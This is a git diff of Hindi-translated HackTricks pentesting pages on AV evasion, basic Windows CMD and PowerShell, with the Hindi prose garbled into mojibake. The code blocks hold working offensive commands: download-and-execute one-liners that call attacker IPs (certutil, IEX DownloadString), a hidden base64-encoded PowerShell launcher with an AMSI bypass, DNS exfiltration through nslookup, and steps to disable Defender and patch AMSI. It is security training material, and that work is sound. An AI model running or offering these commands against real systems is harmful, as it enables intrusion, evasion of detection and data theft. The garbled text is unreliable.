_**UltraVNC.ini**_ рдХреЛ **рд╢рд┐рдХрд╛рд░** рдХреЗ рдЕрдВрджрд░ рд▓реЗ рдЬрд╛рдПрдВ #### **рд░рд┐рд╡рд░реНрд╕ рдХрдиреЗрдХреНрд╢рди** -**рд╣рдорд▓рд╛рд╡рд░** рдХреЛ рдЕрдкрдиреЗ **рд╣реЛрд╕реНрдЯ** рдХреЗ рдЕрдВрджрд░ рдмрд╛рдЗрдирд░реА `vncviewer.exe -listen 5900` рдЪрд▓рд╛рдиреА рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдпрд╣ рд░рд┐рд╡рд░реНрд╕ **VNC рдХрдиреЗрдХреНрд╢рди** рдХреЛ рдкрдХрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП **рддреИрдпрд╛рд░** рд╣реЛ рд╕рдХреЗред рдлрд┐рд░, **рдкреАрдбрд╝рд┐рдд** рдХреЗ рдЕрдВрджрд░: winvnc рдбреЗрдорди рд╢реБрд░реВ рдХрд░реЗрдВ `winvnc.exe -run` рдФрд░ рдЪрд▓рд╛рдПрдБ `winwnc.exe [-autoreconnect] -connect ::5900` +**рд╣рдорд▓рд╛рд╡рд░** рдХреЛ рдЕрдкрдиреЗ **рд╣реЛрд╕реНрдЯ** рдХреЗ рдЕрдВрджрд░ рдмрд╛рдЗрдирд░реА `vncviewer.exe -listen 5900` рдЪрд▓рд╛рдиреА рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдпрд╣ рд░рд┐рд╡рд░реНрд╕ **VNC рдХрдиреЗрдХреНрд╢рди** рдХреЛ рдкрдХрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП **рддреИрдпрд╛рд░** рд╣реЛ рд╕рдХреЗред рдлрд┐рд░, **рд╢рд┐рдХрд╛рд░** рдХреЗ рдЕрдВрджрд░: winvnc рдбреЗрдорди рд╢реБрд░реВ рдХрд░реЗрдВ `winvnc.exe -run` рдФрд░ рдЪрд▓рд╛рдПрдВ `winwnc.exe [-autoreconnect] -connect ::5900` -**рдЪреЗрддрд╛рд╡рдиреА:** рдЫрд┐рдкреЗ рд░рд╣рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдХреБрдЫ рдЪреАрдЬреЗрдВ рдирд╣реАрдВ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП +**рдЪреЗрддрд╛рд╡рдиреА:** рдЧреБрдкреНрддрддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдХреБрдЫ рдЪреАрдЬреЗрдВ рдирд╣реАрдВ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП -- рдпрджрд┐ `winvnc` рдкрд╣рд▓реЗ рд╕реЗ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рд╢реБрд░реВ рди рдХрд░реЗрдВ рдпрд╛ рдЖрдк [рдкреЙрдкрдЕрдк](https://i.imgur.com/1SROTTl.png) рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рджреЗрдВрдЧреЗред рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдпрд╣ рдЪрд▓ рд░рд╣рд╛ рд╣реИ `tasklist | findstr winvnc` -- рдпрджрд┐ рдЙрд╕реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ `UltraVNC.ini` рдирд╣реАрдВ рд╣реИ рддреЛ `winvnc` рд╢реБрд░реВ рди рдХрд░реЗрдВ рдпрд╛ рдпрд╣ [рдХреЙрдиреНрдлрд╝рд┐рдЧ рд╡рд┐рдВрдбреЛ](https://i.imgur.com/rfMQWcf.png) рдХреЛ рдЦреЛрд▓ рджреЗрдЧрд╛ -- рдорджрдж рдХреЗ рд▓рд┐рдП `winvnc -h` рди рдЪрд▓рд╛рдПрдБ рдпрд╛ рдЖрдк [рдкреЙрдкрдЕрдк](https://i.imgur.com/oc18wcu.png) рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рджреЗрдВрдЧреЗ +- рдпрджрд┐ `winvnc` рдкрд╣рд▓реЗ рд╕реЗ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рд╢реБрд░реВ рди рдХрд░реЗрдВ рдпрд╛ рдЖрдк [рдкреЙрдкрдЕрдк](https://i.imgur.com/1SROTTl.png) рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВрдЧреЗред рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдпрд╣ рдЪрд▓ рд░рд╣рд╛ рд╣реИ `tasklist | findstr winvnc` +- рдпрджрд┐ `UltraVNC.ini` рдЙрд╕реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдирд╣реАрдВ рд╣реИ рддреЛ `winvnc` рд╢реБрд░реВ рди рдХрд░реЗрдВ рдпрд╛ рдпрд╣ [рдХреЙрдиреНрдлрд╝рд┐рдЧ рд╡рд┐рдВрдбреЛ](https://i.imgur.com/rfMQWcf.png) рдХреЛ рдЦреЛрд▓ рджреЗрдЧрд╛ +- рдорджрдж рдХреЗ рд▓рд┐рдП `winvnc -h` рди рдЪрд▓рд╛рдПрдВ рдпрд╛ рдЖрдк [рдкреЙрдкрдЕрдк](https://i.imgur.com/oc18wcu.png) рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВрдЧреЗ ### GreatSCT @@ -525,6 +572,6 @@ https://github.com/praetorian-code/vulcan ``` ### рдЕрдзрд┐рдХ -- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) +- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/basic-cmd-for-pentesters.md b/src/windows-hardening/basic-cmd-for-pentesters.md index aca07db6f..4d23d5994 100644 --- a/src/windows-hardening/basic-cmd-for-pentesters.md +++ b/src/windows-hardening/basic-cmd-for-pentesters.md @@ -268,9 +268,9 @@ Certutil.exe ``` certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe ``` -**`Download` рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдХреБрдЫ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/) +**`Download` рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдХреБрдЫ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/) -## рд╡рд┐рд╡рд┐рдз +## Misc ```bash cd #Get current dir cd C:\path\to\dir #Change dir @@ -315,7 +315,7 @@ who^ami #whoami ### DOSfuscation рдПрдХ рдЕрд╕реНрдкрд╖реНрдЯ CMD рд▓рд╛рдЗрди рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ -```powershell +```bash git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation Import-Module .\Invoke-DOSfuscation.psd1 @@ -339,7 +339,7 @@ sudo tcpdump -i -A proto udp and dst port 53 and dst ip #Passi ``` #### Victim -**`for /f tokens`** рддрдХрдиреАрдХ: рдпрд╣ рд╣рдореЗрдВ рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ, рдкреНрд░рддреНрдпреЗрдХ рдкрдВрдХреНрддрд┐ рдХреЗ рдкрд╣рд▓реЗ X рд╢рдмреНрджреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕реЗ DNS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд╛рд░реЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред +**`for /f tokens`** рддрдХрдиреАрдХ: рдпрд╣ рд╣рдореЗрдВ рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ, рдкреНрд░рддреНрдпреЗрдХ рдкрдВрдХреНрддрд┐ рдХреЗ рдкрд╣рд▓реЗ X рд╢рдмреНрджреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕реЗ DNS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд╛рд░реЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ ```bash for /f %a in ('whoami') do nslookup %a #Get whoami for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a #Get word2 @@ -371,7 +371,7 @@ return 0; ``` ## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream) -**рдЙрджрд╛рд╣рд░рдг рд▓рд┐рдП рдЧрдП рд╣реИрдВ** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. рд╡рд╣рд╛рдБ рдФрд░ рднреА рдмрд╣реБрдд рдХреБрдЫ рд╣реИ!** +**Examples taken from** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. рд╡рд╣рд╛рдБ рдФрд░ рднреА рдмрд╣реБрдд рдХреБрдЫ рд╣реИ!** ```bash ## Selected Examples of ADS Operations ## diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index e3a9afbd6..eb86d2fae 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -3,12 +3,12 @@ {{#include ../../banners/hacktricks-training.md}} ## рдбрд┐рдлрд╝реЙрд▓реНрдЯ PowerShell рд╕реНрдерд╛рди -```powershell +```bash C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` ## рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмреБрдирд┐рдпрд╛рджреА PS рдХрдорд╛рдВрдб -```powershell +```bash Get-Help * #List everything loaded Get-Help process #List everything containing "process" Get-Help Get-Item -Full #Get full helpabout a topic @@ -17,7 +17,7 @@ Import-Module Get-Command -Module ``` ## рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ -```powershell +```bash echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 @@ -30,37 +30,37 @@ $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] ``` ### рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рдореЗрдВ рдЪрд▓рд╛рдПрдБ AMSI рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд╕рд╛рде -```powershell +```bash Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" ``` -### рд▓рд┐рдирдХреНрд╕ рд╕реЗ b64 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ -```powershell +### Linux рд╕реЗ b64 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ +```bash echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0 powershell -nop -enc ``` ## рдбрд╛рдЙрдирд▓реЛрдб ### System.Net.WebClient -```powershell +```bash (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") ``` ### Invoke-WebRequest -```powershell +```bash Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" ``` ### Wget -```powershell +```bash wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" ``` ### BitsTransfer -```powershell +```bash Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output # OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ## Base64 Kali & EncodedCommand -```powershell +```bash kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` @@ -71,7 +71,7 @@ PS> powershell -EncodedCommand ## [AppLocker Policy](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## WinRM (Remote PS) рд╕рдХреНрд╖рдо рдХрд░реЗрдВ -```powershell +```bash enable-psremoting -force #This enables winrm # Change NetWorkConnection Category to Private @@ -85,7 +85,7 @@ $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm } ``` ## Defender рдХреЛ рдмрдВрдж рдХрд░реЗрдВ -```powershell +```bash # Check status Get-MpComputerStatus Get-MpPreference | select Exclusion* | fl #Check exclusions @@ -112,14 +112,14 @@ ValueType : REG_SZ ValueLength : 4 ValueData : 0 ``` -### AMSI рдмрд╛рдпрдкрд╛рд╕ +### AMSI рдмрд╛рдИрдкрд╛рд╕ -**`amsi.dll`** рдЖрдкрдХреЗ рдкреНрд░реЛрд╕реЗрд╕ рдореЗрдВ **рд▓реЛрдб** рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рдХрд┐рд╕реА рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ **рдПрдХреНрд╕рдкреЛрд░реНрдЯреНрд╕** рд╣реЛрддреЗ рд╣реИрдВред рдФрд░ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдПрдХ рдкреНрд░реЛрд╕реЗрд╕ рдХреА рдореЗрдореЛрд░реА рд╕реНрдкреЗрд╕ рдореЗрдВ рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк **рдирд┐рдпрдВрддреНрд░рд┐рдд** рдХрд░рддреЗ рд╣реИрдВ, рдЖрдк рдЗрд╕рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ **рдореЗрдореЛрд░реА рдореЗрдВ рдЗрдВрд╕реНрдЯреНрд░рдХреНрд╢рдВрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ** рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕реЗ рдХреБрдЫ рднреА рдбрд┐рдЯреЗрдХреНрдЯ рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдирд╛ред +**`amsi.dll`** рдЖрдкрдХреЗ рдкреНрд░реЛрд╕реЗрд╕ рдореЗрдВ **рд▓реЛрдб** рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рдХрд┐рд╕реА рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ **рдПрдХреНрд╕рдкреЛрд░реНрдЯреНрд╕** рд╣реЛрддреЗ рд╣реИрдВред рдФрд░ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ **рдирд┐рдпрдВрддреНрд░рд┐рдд** рдкреНрд░реЛрд╕реЗрд╕ рдХреА рдореЗрдореЛрд░реА рд╕реНрдкреЗрд╕ рдореЗрдВ рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ, рдЖрдк рдЗрд╕рдХреА рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ **рдореЗрдореЛрд░реА рдореЗрдВ рдЗрдВрд╕реНрдЯреНрд░рдХреНрд╢рдВрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ** рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕реЗ рдХреБрдЫ рднреА рдбрд┐рдЯреЗрдХреНрдЯ рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдирд╛ред -рдЗрд╕рд▓рд┐рдП, AMSI рдмрд╛рдпрдкрд╛рд╕ рдХрд╛ рд▓рдХреНрд╖реНрдп рд╣реИ рдХрд┐ рдЖрдк **рдореЗрдореЛрд░реА рдореЗрдВ рдЙрд╕ DLL рдХреЗ рдЗрдВрд╕реНрдЯреНрд░рдХреНрд╢рдВрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдбрд┐рдЯреЗрдХреНрд╢рди рдмреЗрдХрд╛рд░ рд╣реЛ рдЬрд╛рдП**ред +рдЗрд╕рд▓рд┐рдП, AMSI рдмрд╛рдИрдкрд╛рд╕ рдХрд╛ рд▓рдХреНрд╖реНрдп рд╣реИ рдХрд┐ рдЖрдк **рдореЗрдореЛрд░реА рдореЗрдВ рдЙрд╕ DLL рдХреЗ рдЗрдВрд╕реНрдЯреНрд░рдХреНрд╢рдВрд╕ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдбрд┐рдЯреЗрдХреНрд╢рди рдмреЗрдХрд╛рд░ рд╣реЛ рдЬрд╛рдП**ред -**AMSI рдмрд╛рдпрдкрд╛рд╕ рдЬрдирд░реЗрдЯрд░** рд╡реЗрдм рдкреЗрдЬ: [**https://amsi.fail/**](https://amsi.fail/) -```powershell +**AMSI рдмрд╛рдИрдкрд╛рд╕ рдЬрдирд░реЗрдЯрд░** рд╡реЗрдм рдкреЗрдЬ: [**https://amsi.fail/**](https://amsi.fail/) +```bash # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) @@ -167,7 +167,7 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html Check [**this post for detailed info and the code**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). рдкрд░рд┐рдЪрдп: -рдпрд╣ рдирдИ рддрдХрдиреАрдХ .NET рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ API рдХреЙрд▓ рд╣реБрдХрд┐рдВрдЧ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ, .NET рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдореВрд▓ рдорд╢реАрди рдирд┐рд░реНрджреЗрд╢реЛрдВ рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬреЛ рдореВрд▓ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рд╕рдорд╛рди рджрд┐рдЦрддреЗ рд╣реИрдВред рдЗрди рд╕рдВрдХрд▓рд┐рдд рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд╣реБрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХреЗред +рдпрд╣ рдирдИ рддрдХрдиреАрдХ .NET рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ API рдХреЙрд▓ рд╣реБрдХрд┐рдВрдЧ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ, .NET рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдореВрд▓ рдорд╢реАрди рдирд┐рд░реНрджреЗрд╢реЛрдВ рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬреЛ рдореВрд▓ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рд╕рдорд╛рди рджрд┐рдЦрддреЗ рд╣реИрдВред рдЗрди рд╕рдВрдХрд▓рд┐рдд рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд╣реБрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХрд┐рд╕реА рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХреЗред .NET рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ API рдХреЙрд▓ рд╣реБрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдХрджрдо рд╣реИрдВ: @@ -180,21 +180,22 @@ Check [**this post for detailed info and the code**](https://practicalsecurityan ### AMSI Bypass 3 - SeDebug Privilege -[**Following this guide & code**](https://github.com/MzHmO/DebugAmsi) рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде, рдЖрдк рдПрдХ powershell.exe рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕реЗ рдбрд┐рдмрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдм рдпрд╣ `amsi.dll` рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рдореЙрдирд┐рдЯрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдЕрдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +[**Following this guide & code**](https://github.com/MzHmO/DebugAmsi) рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреИрд╕реЗ рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдПрдХ powershell.exe рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕реЗ рдбрд┐рдмрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдм рдпрд╣ `amsi.dll` рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рдореЙрдирд┐рдЯрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдЕрдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### AMSI Bypass - More Resources +- Check the page about **[Bypassing AVs & AMSI](../av-bypass.md)** - [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) - [Amsi Bypass on Windows 11 In 2023](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023) ## PS-History -```powershell +```bash Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` ## рдирдП рдлрд╝рд╛рдЗрд▓реЗрдВ рдЦреЛрдЬреЗрдВ рд╡рд┐рдХрд▓реНрдк: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc` -```powershell +```bash # LastAccessTime: (gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName @@ -202,26 +203,26 @@ Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSR (gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName ``` ## рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ -```powershell +```bash Get-Acl -Path "C:\Program Files\Vuln Services" | fl ``` ## OS рд╕рдВрд╕реНрдХрд░рдг рдФрд░ HotFixes -```powershell +```bash [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ## рд╡рд╛рддрд╛рд╡рд░рдг -```powershell +```bash Get-ChildItem Env: | ft Key,Value -AutoSize #get all values $env:UserName @Get UserName value ``` ## рдЕрдиреНрдп рдЬреБрдбрд╝реЗ рд╣реБрдП рдбреНрд░рд╛рдЗрд╡ -```powershell +```bash Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ### рд░реАрд╕рд╛рдпрдХрд▓ рдмрд┐рди -```powershell +```bash $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() @@ -235,12 +236,12 @@ powerview.md {{#endref}} ## рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ -```powershell +```bash Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` ## рд╕реБрд░рдХреНрд╖рд┐рдд рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╕реЗ рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ -```powershell +```bash $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" $cred = New-Object System.management.Automation.PSCredential($user, $pass) @@ -252,7 +253,7 @@ SecurePassword : System.Security.SecureString Domain : HTB ``` рдпрд╛ рд╕реАрдзреЗ XML рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдХреЗ: -```powershell +```bash $cred = Import-CliXml -Path cred.xml; 